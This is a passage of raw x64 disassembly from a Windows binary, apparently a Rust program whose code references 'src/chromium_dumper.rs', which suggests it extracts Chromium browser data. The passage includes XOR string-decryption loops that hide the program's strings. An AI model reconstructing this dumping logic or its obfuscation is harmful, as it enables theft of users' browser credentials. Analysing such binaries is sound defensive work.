mov rcx, rsi
lea rdx, [rsp + 0x1e0]
call fcn.14012d661
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rdi
mov rdx, r15
call fcn.14015e77d
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
call fcn.14015e77d
mov rcx, rsi
call fcn.14013bee6
mov rdi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov r15, qword [rsp + 0x340]
mov r8, qword [rsp + 0x350]
mov rcx, rdi
mov rdx, r15
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x348]
mov rcx, r15
call fcn.14015e77d
mov rcx, qword [rsp + 0x3d0]
lea rdx, [rsp + 0x480]
call fcn.14012ef18
mov rsi, qword [rsp + 0x198]
cmp qword [rsp + 0x28], rsi
lea r15, [rsp + 0x110]
lea r12, [rsp + 0x30]
je 0x1401203ed
mov r14, qword [rsp + 0x270]
add qword [0x140545058], r14
imul rdi, r14, 0x48
add rdi, rsi
mov rcx, r14
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
mov rcx, r15
mov rdx, r14
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rcx, rsi
mov rdx, rdi
mov r8, r12
call fcn.14000165d
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x458]
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rcx, r12
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
lea rcx, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x1d0]
call fcn.14004b6a0
mov rdi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
mov rcx, r12
mov rdx, rdi
call fcn.14012ef67
mov rcx, r12
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, r12
lea rdx, [0x140446248]
mov r9, r15
call fcn.140004cc3
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, r12
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rdi
call fcn.14015e77d
mov rdi, qword [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x28], rax
mov r8, qword [rsp + 0x2d0]
mov rcx, rsi
mov rdx, rdi
call fcn.14004ac70
lea rax, [0x14043c4ff]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1026205f92d6d981
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013d959
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011f717
lea r15, [0x140446880]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov r14, rcx
or r14, 6
mov r12, rcx
or r12, 7
movzx r14d, byte [r14 + r15]
movzx r12d, byte [r12 + r15]
shl r12, 0x38
shl r14, 0x30
or r14, r12
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011f668
mov al, byte [rax + 8]
xor al, 0xd0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x370], rcx
mov byte [rsp + 0x378], al
lea rax, [rsp + 0x370]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 9
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x120], rcx
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x130], rcx
mov ecx, 2
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rcx
and qword [rsp + 0x50], 0
mov qword [rsp + 0x138], rax
mov edx, 0x20
mov qword [rsp + 0x58], rdx
mov al, 3
mov byte [rsp + 0x60], al
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], rcx
mov r8d, 1
mov qword [rsp + 0x88], r8
mov qword [rsp + 0x90], rdx
mov byte [rsp + 0x98], al
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rdx
mov byte [rsp + 0xd0], al
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf8], r8
mov qword [rsp + 0x100], rdx
mov byte [rsp + 0x108], al
lea rax, [0x1404467c8]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
lea r14, [rsp + 0x30]
mov qword [rsp + 0x200], r14
mov qword [rsp + 0x208], 4
lea rax, [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 3
lea rsi, [rsp + 0x1a0]
mov rcx, rsi
lea rdx, [rsp + 0x1e0]
call fcn.14012d661
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rdi
mov rdx, qword [rsp + 0x28]
call fcn.14015e77d
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
call fcn.14015e77d
mov rcx, rsi
call fcn.14013bee6
mov r15, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rdx, qword [rsp + 0x458]
mov r8, qword [rsp + 0x468]
mov rcx, r15
mov qword [rsp + 0x28], rdx
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, r15
call sub.kernel32.dll_CloseHandle
lea rax, [0x140442722]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc7fd75d1e64a1977
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013dd67
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
lea r15, [0x1404468c0]
mov r12, qword [rsp + 0x198]
test dl, 1
je 0x14011fa19
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rdi, rcx
or rdi, 6
mov r14, rcx
or r14, 7
movzx edi, byte [rdi + r15]
movzx r14d, byte [r14 + r15]
shl r14, 0x38
shl rdi, 0x30
or rdi, r14
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011f971
mov ecx, 8
lea r14, [0x140446ad8]
cmp rcx, 0xb
ja 0x14011fa4f
movzx edx, byte [rcx + r15 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r15]
add edx, r8d
add edx, 0xd5000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x14011fa25
mov al, byte [rax + 0xc]
xor al, 0xd1
mov byte [rsp + 0x3c], al
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x35]
mov qword [rsp + 0x3e5], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 0xd
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
lea rsi, [rsp + 0x30]
mov rcx, rsi
lea rdx, [0x14044a420]
lea r9, [rsp + 0x110]
call fcn.140004cc3
lea rcx, [rsp + 0x1e0]
mov rdx, rsi
call fcn.14012d661
mov rsi, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x3b0], rax
mov r15, qword [rsp + 0x1f0]
mov rcx, rsi
mov rdx, r15
call fcn.14012d6e9
test al, al
jne 0x14011fb5b
mov rcx, rsi
mov rdx, r15
call fcn.14013bf51
mov rdi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
mov qword [rsp + 0x4e8], r15
mov qword [rsp + 0x268], rsi
mov qword [rsp + 0x340], 1
lea rax, [rsp + 0x348]
movups xmmword [rax], xmm6
lea rcx, [rsp + 0x30]
mov rdx, r12
mov r8, qword [rsp + 0x270]
call fcn.14011935c
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
imul r15, qword [rsp + 0x40], 0x48
add r15, rax
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], rcx
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x3f8], r15
cmp rax, r15
je 0x140120303
lea rdi, [rax + 0x48]
mov rcx, qword [rax]
movups xmm0, xmmword [rax + 0x38]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rax + 0x28]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x1e0], xmm0
test rcx, rcx
je 0x140120300
mov qword [rsp + 0x110], rcx
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movaps xmm3, xmmword [rsp + 0x210]
lea rax, [rsp + 0x120]
movups xmmword [rax + 0x28], xmm3
movups xmmword [rax + 0x18], xmm2
movdqu xmmword [rax + 8], xmm1
movdqu xmmword [rax - 8], xmm0
lea rax, [0x14044342c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x182700cc7f75259d
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013f7e6
and dword [rsp + 0x30], 0
mov byte [rsp + 0x34], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011fceb
movzx edx, byte [rcx + r14]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r14]
mov r9, rcx
or r9, 2
mov r10, rcx
or r10, 3
movzx r9d, byte [r9 + r14]
movzx r10d, byte [r10 + r14]
shl r10d, 0x18
shl r9d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r9d
or r8d, r10d
xor r8d, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], r8d
mov ecx, 4
xor edx, edx
jmp 0x14011fc96
mov al, byte [rax + 4]
xor al, 0xa7
mov ecx, dword [rsp + 0x30]
mov byte [rsp + 0x4dc], al
mov dword [rsp + 0x4d8], ecx
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x538], 5
lea rax, [0x14043ba5a]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x4df9bf1232561af5
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013f448
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011fe02
movzx r8d, byte [rcx + rbx]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rbx]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbx]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rbx]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rbx]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + rbx]
mov r14, rcx
or r14, 6
mov r12, rcx
or r12, 7
movzx r14d, byte [r14 + rbx]
movzx r12d, byte [r12 + rbx]
shl r12, 0x38
shl r14, 0x30
or r14, r12
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011fd5c
mov ecx, 8
cmp rcx, 0xb
ja 0x14011fe30
movzx edx, byte [rcx + rbx + 2]
shl edx, 0x10
movzx r8d, word [rcx + rbx]
add edx, r8d
add edx, 0xc9000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x14011fe07
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x4f8], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4f0], rax
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x568], 0xc
lea rax, [0x140443a2f]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x9b40ec9e72387c08
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013dc10
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011ff48
movzx r8d, byte [rcx + rbp]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rbp]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbp]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rbp]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rbp]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + rbp]
mov r14, rcx
or r14, 6
mov r12, rcx
or r12, 7
movzx r14d, byte [r14 + rbp]
movzx r12d, byte [r12 + rbp]
shl r12, 0x38
shl r14, 0x30
or r14, r12
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011fea2
mov ecx, 8
cmp rcx, 0xb
ja 0x14011ff76
movzx edx, byte [rcx + rbp + 2]
shl edx, 0x10
movzx r8d, word [rcx + rbp]
add edx, r8d
add edx, 0x86000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x14011ff4d
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x548], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x540], rax
lea rax, [rsp + 0x540]
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], 0xc
lea rax, [0x14043a76d]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x345c662bd187bf01
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.140141303
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140120090
movzx r8d, byte [rcx + r13]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r13]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r13]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r13]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r13]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r13]
mov r12, rcx
or r12, 7
mov r14, rcx
or r14, 6
movzx r14d, byte [r14 + r13]
movzx r12d, byte [r12 + r13]
shl r12, 0x38
shl r14, 0x30
or r14, r12
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011ffe8
mov ecx, 8
cmp rcx, 0xb
ja 0x1401200bf
movzx edx, byte [rcx + r13 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r13]
add edx, r8d
add edx, 0xe2000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x140120095
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0xa2d1
mov word [rsp + 0x3c], ax
xor cl, 0x61
mov byte [rsp + 0x3e], cl
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x37]
mov qword [rsp + 0x557], rax
lea rax, [rsp + 0x550]
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x4c0], 0xf
lea rax, [0x1404391d6]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x1c66766facfc6543
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013d625
movaps xmmword [rsp + 0x30], xmm6
xor ecx, ecx
lea r8, [0x140446b04]
cmp rcx, 0xf
ja 0x140120164
mov rdx, qword [rcx + r8]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
add rcx, 8
jmp 0x14012014b
movzx ecx, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
xor eax, 0xa398
mov word [rsp + 0x40], ax
xor cl, 0x1d
mov byte [rsp + 0x42], cl
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x370], xmm0
mov eax, dword [rsp + 0x3f]
mov dword [rsp + 0x37f], eax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4a8], 0x13
lea rax, [rsp + 0x530]
mov qword [rsp + 0x30], rax
lea rdx, [0x140076e7c]
mov qword [rsp + 0x38], rdx
lea r12, [rsp + 0x110]
mov qword [rsp + 0x40], r12
lea rcx, [0x140007e8f]
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x560]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
lea rax, [rsp + 0x128]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x500]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
lea rax, [rsp + 0x140]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rcx
lea rax, [rsp + 0x4b8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rdx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x20], 9
mov r8d, 9
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
lea rdx, [0x140446a48]
lea r9, [rsp + 0x30]
call fcn.140004cc3
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14012d661
mov rsi, qword [rsp + 0x1a0]
mov r14, qword [rsp + 0x1a8]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x340]
mov rdx, rsi
call fcn.14027a491
mov rcx, rsi
mov rdx, r14
call fcn.14015e77d
mov rcx, r12
call fcn.1400064e8
mov rax, rdi
lea r14, [0x140446ad8]
jmp 0x14011fbca
mov r15, rdi
mov qword [rsp + 0x3f0], r15
lea rcx, [rsp + 0x3e0]
call fcn.14012fc7f
lea rax, [rsp + 0x40]
and word [rax + 0x14], 0
and dword [rax + 0x10], 0
and dword [rsp + 0x30], 0
movups xmmword [rax - 8], xmm6
mov qword [rsp + 0x48], 7
mov word [rsp + 0x51], 0x101
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0x120], rax
lea r12, [rsp + 0x30]
mov rcx, r12
lea r15, [rsp + 0x110]
mov rdx, r15
call fcn.14013bd40
mov rsi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov r14, qword [rsp + 0x340]
mov r8, qword [rsp + 0x350]
mov rcx, rsi
mov rdx, r14
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x348]
mov rcx, r14
call fcn.14015e77d
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x28]
call fcn.14015e77d
mov rcx, qword [rsp + 0x4d0]
lea rdx, [rsp + 0x3b8]
call fcn.14012f08c
mov rcx, r15
mov rdx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x1d0]
call fcn.14004b6a0
mov rcx, r12
mov rdx, qword [rsp + 0x1d8]
mov r8, r15
call fcn.14012f190
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012cef6
mov r14, qword [rsp + 0x38]
imul r15, qword [rsp + 0x48], 0x70
mov rax, qword [rsp + 0x40]
lea rcx, [r14 + r15]
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x268], rcx
mov qword [rsp + 0x1b8], rcx
lea rax, [rsp + 0x390]
mov qword [rsp + 0x1c0], rax
lea r12, [r14 + 0x70]
mov qword [rsp + 0x28], r14
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x198], r14
test r15, r15
je 0x140120614
lea rax, [r12 - 0x70]
cmp qword [rax], 0
je 0x14012061c
mov ecx, 0xe
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x30], r14
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x38], rcx
cmp qword [rsp + 0x80], 0
je 0x140120548
cmp qword [rsp + 0x50], 0
je 0x140120548
mov ecx, 0xe
lea r14, [rsp + 0x2c0]
mov rdi, r14
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rdi, r14
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, r14
call fcn.140010a5b
lea r14, [rsp + 0x1e0]
mov rcx, r14
mov rdx, rsi
xor r8d, r8d
call fcn.14000d1d0
cmp qword [rsp + 0x1e0], 0
je 0x14012055a
mov ecx, 0xe
mov rax, rdi
lea rdi, [rsp + 0x3e0]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rdi, rax
jmp 0x14012058d
lea rdi, [rsp + 0x40]
mov rcx, rdi
call fcn.140006433
jmp 0x140120607
mov rcx, rsi
mov rdx, rdi
call fcn.140010a5b
mov r8, qword [rsp + 0x390]
mov r9, qword [rsp + 0x3a0]
lea rcx, [rsp + 0x3e0]
mov rdx, rsi
call fcn.14000d1d0
mov rcx, r14
call fcn.140005388
mov rcx, rdi
call fcn.140006433
mov rax, qword [rsp + 0x3e0]
mov ecx, 0xd
mov rdi, r14
lea rsi, [rsp + 0x3e8]
rep movsq qword [rdi], qword [rsi]
test rax, rax
je 0x1401205ed
mov ecx, 0xd
lea rdx, [rsp + 0x110]
mov rdi, rdx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov r8, qword [rsp + 0x28]
mov qword [r8], rax
lea rdi, [r8 + 8]
mov ecx, 0xd
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
add r8, 0x70
mov qword [rsp + 0x28], r8
jmp 0x1401205fa
lea rcx, [rsp + 0x3e0]
call fcn.140005388
lea rdi, [rsp + 0x40]
mov r14, qword [rsp + 0x198]
add r12, 0x70
add r15, 0xffffffffffffff90
jmp 0x14012049b
mov r12, qword [rsp + 0x268]
mov qword [rsp + 0x1b0], r12
mov r15, qword [rsp + 0x28]
mov rax, r15
sub rax, r14
xor edx, edx
mov ecx, 0x70
div rcx
mov rsi, rax
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
call fcn.14012fcb6
mov qword [rsp + 0x370], r14
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x380], rsi
mov rcx, rdi
call fcn.14012fd10
cmp r15, r14
lea r15, [rsp + 0x30]
je 0x140120ea2
add qword [0x140545060], rsi
mov qword [rsp + 0x1a0], rsi
lea rax, [0x14044185a]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x73fd8429a82d5012
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013eb8e
and word [rsp + 0x34], 0
and dword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
lea r11, [0x140446918]
test dl, 1
je 0x140120726
movzx edx, byte [rcx + r11]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r11]
mov r9, rcx
or r9, 3
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + r11]
movzx r9d, byte [r9 + r11]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], r8d
mov ecx, 4
xor edx, edx
jmp 0x1401206d1
movzx eax, word [rax + 4]
xor eax, 0xe0a7
mov ecx, dword [rsp + 0x30]
mov dword [rsp + 0x340], ecx
mov word [rsp + 0x344], ax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 6
lea rax, [0x140446ba3]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x58008b98e4a18ee9
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013e487
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14012084b
lea r12, [0x14044691e]
movzx r8d, byte [rcx + r12]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r12]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r12]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r12]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r12]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + r12]
mov r14, rcx
or r14, 6
mov r15, rcx
or r15, 7
movzx r14d, byte [r14 + r12]
movzx r15d, byte [r15 + r12]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14012079c
mov ecx, 8
cmp rcx, 0xb
ja 0x140120881
lea r8, [0x14044691e]
movzx edx, byte [rcx + r8 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r8]
add edx, r8d
add edx, 0xb000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x140120850
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x3e8], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3e0], rax
lea r15, [rsp + 0x3e0]
mov qword [rsp + 0x1e0], r15
mov qword [rsp + 0x1e8], 0xc
lea r14, [rsp + 0x1a0]
mov qword [rsp + 0x30], r14
lea rax, [fcn.140050160]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x48], rax
lea r12, [rsp + 0x2c0]
mov qword [rsp + 0x50], r12
lea rax, [0x140076e7c]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1e0]
